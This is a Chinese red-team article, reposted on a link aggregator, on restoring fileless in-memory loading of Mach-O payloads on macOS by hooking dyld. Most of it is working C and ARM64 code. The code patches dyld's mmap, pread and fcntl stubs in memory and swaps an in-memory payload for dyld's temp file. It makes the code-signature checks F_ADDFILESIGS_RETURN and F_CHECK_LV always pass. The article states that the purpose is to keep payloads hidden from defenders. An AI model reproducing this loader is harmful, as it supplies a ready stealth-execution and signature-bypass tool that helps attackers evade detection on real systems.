3

IOS逆向-恢复Dyld的内存加载方式

 1 year ago
source link: https://www.51cto.com/article/745964.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

IOS逆向-恢复Dyld的内存加载方式

作者:蚁景科技 2023-02-08 08:12:15
通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。

之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。

@roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。

作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。

因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。

NSLinkModule有何与众不同

由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。

该函数的签名为:

NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }

该函数的第一个参数是ofi,它是用NSCreateObjectFileImageFromMemory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。

通过查看代码发现,最新版本的NSLinkModule,会将osi所指向的内存写入磁盘。

if ( ofi->memSource != nullptr ) {
...
char        tempFileName[PATH_MAX];
const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR");
if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) {
strlcpy(tempFileName, tmpDir, PATH_MAX);
if ( tmpDir[strlen(tmpDir) - 1] != '/' )
strlcat(tempFileName, "/", PATH_MAX);
}
else
strlcpy(tempFileName, "/tmp/", PATH_MAX);
strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
int fd = this->libSystemHelpers->mkstemp(tempFileName);
if ( fd != -1 ) {
ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0);
}
...
}

通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。

...
ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);
...

因此,从本质上讲,这也就使得NSLinkModule成为了dlopen的一个封装器。

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

那我们能否恢复dyld之前的内存加载特性呢?

我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢?

使用dyld进行hook

为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。

我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。

img

知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。

ldr x8, _value
br x8
_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location

在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。

void *getDyldBase(void) {
struct task_dyld_info dyld_info;
mach_vm_address_t image_infos;
struct dyld_all_image_infos *infos;

mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
kern_return_t ret;

ret = task_info(mach_task_self_,
TASK_DYLD_INFO,
(task_info_t)&dyld_info,
&count);

if (ret != KERN_SUCCESS) {
return NULL;
}

image_infos = dyld_info.all_image_info_addr;

infos = (struct dyld_all_image_infos *)image_infos;
return infos->dyldImageLoadAddress;
}

只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。

bool searchAndPatch(char *base, char *signature, int length, void *target) {

char *patchAddr = NULL;
kern_return_t kret;

for(int i=0; i < 0x100000; i++) {
if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {
patchAddr = base + i;
break;
}
}
...

当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。

kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
if (kret != KERN_SUCCESS) {
return FALSE;
}

注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。

设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。

// Copy our path
memcpy(patchAddr, patch, sizeof(patch));

// Set the br address for our hook call
*(void **)((char*)patchAddr + 16) = target;

// Return exec permission
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
if (kret != KERN_SUCCESS) {
return FALSE;
}

现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。

由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。

img

那么,既然如此,我们该如何处理我们的hook程序呢?

API模拟调用

有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。

如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。

首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。

如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。

#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"

const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
char *alloc;
char filePath[PATH_MAX];
int newFlags;

memset(filePath, 0, sizeof(filePath));

// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {

newFlags = MAP_PRIVATE | MAP_ANONYMOUS;
if (addr != 0) {
newFlags |= MAP_FIXED;
}

alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);
memcpy(alloc, memoryLoadedFile+offset, len);
vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);
return alloc;
}
}

// If for another file, we pass through
return mmap(addr, len, prot, flags, fd, offset);
}

接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。

ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) {
char filePath[PATH_MAX];

memset(filePath, 0, sizeof(filePath));

// Check if the file is our "in-memory" file
if (fcntl(fd, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
memcpy(buf, memoryLoadedFile+offset, nbyte);
return nbyte;
}
}

// If for another file, we pass through
return pread(fd, buf, nbyte, offset);
}

最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。

img

由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。

int hookedFcntl(int fildes, int cmd, void* param) {

char filePath[PATH_MAX];

memset(filePath, 0, sizeof(filePath));

// Check if the file is our "in-memory" file
if (fcntl(fildes, F_GETPATH, filePath) != -1) {
if (strstr(filePath, FILENAME_SEARCH) > 0) {
if (cmd == F_ADDFILESIGS_RETURN) {
fsignatures_t *fsig = (fsignatures_t*)param;

// called to check that cert covers file.. so we'll make it cover everything ;)
fsig->fs_file_start = 0xFFFFFFFF;
return 0;
}

// Signature sanity check by dyld
if (cmd == F_CHECK_LV) {
// Just say everything is fine
return 0;
}
}
}

return fcntl(fildes, cmd, param);
}

有了以上这些,然后我们可以把这一切组合起来。

int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {
@autoreleasepool {
char *dyldBase;
int fd;
int size;
void (*function)(void);
NSObjectFileImage fileImage;

// Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/
size = readFile("/tmp/loadme", &memoryLoadedFile);

dyldBase = getDyldBase();
searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);
searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);
searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);

// Set up blank content, same size as our Mach-O
char *fakeImage = (char *)malloc(size);
memset(fakeImage, 0x41, size);

// Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image
fileImage = (NSObjectFileImage)malloc(1024);
*(void **)(((char*)fileImage+0x8)) = fakeImage;
*(void **)(((char*)fileImage+0x10)) = size;

void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);
void *symbol = NSLookupSymbolInModule(module, "runme");
function = NSAddressOfSymbol(symbol);
function();
}
}

当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。

img

但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。

img

所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。

事实证明,这个想法是正确的。比如:

void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);
function = dlsym(a, "runme");
function();

而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。

img

这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK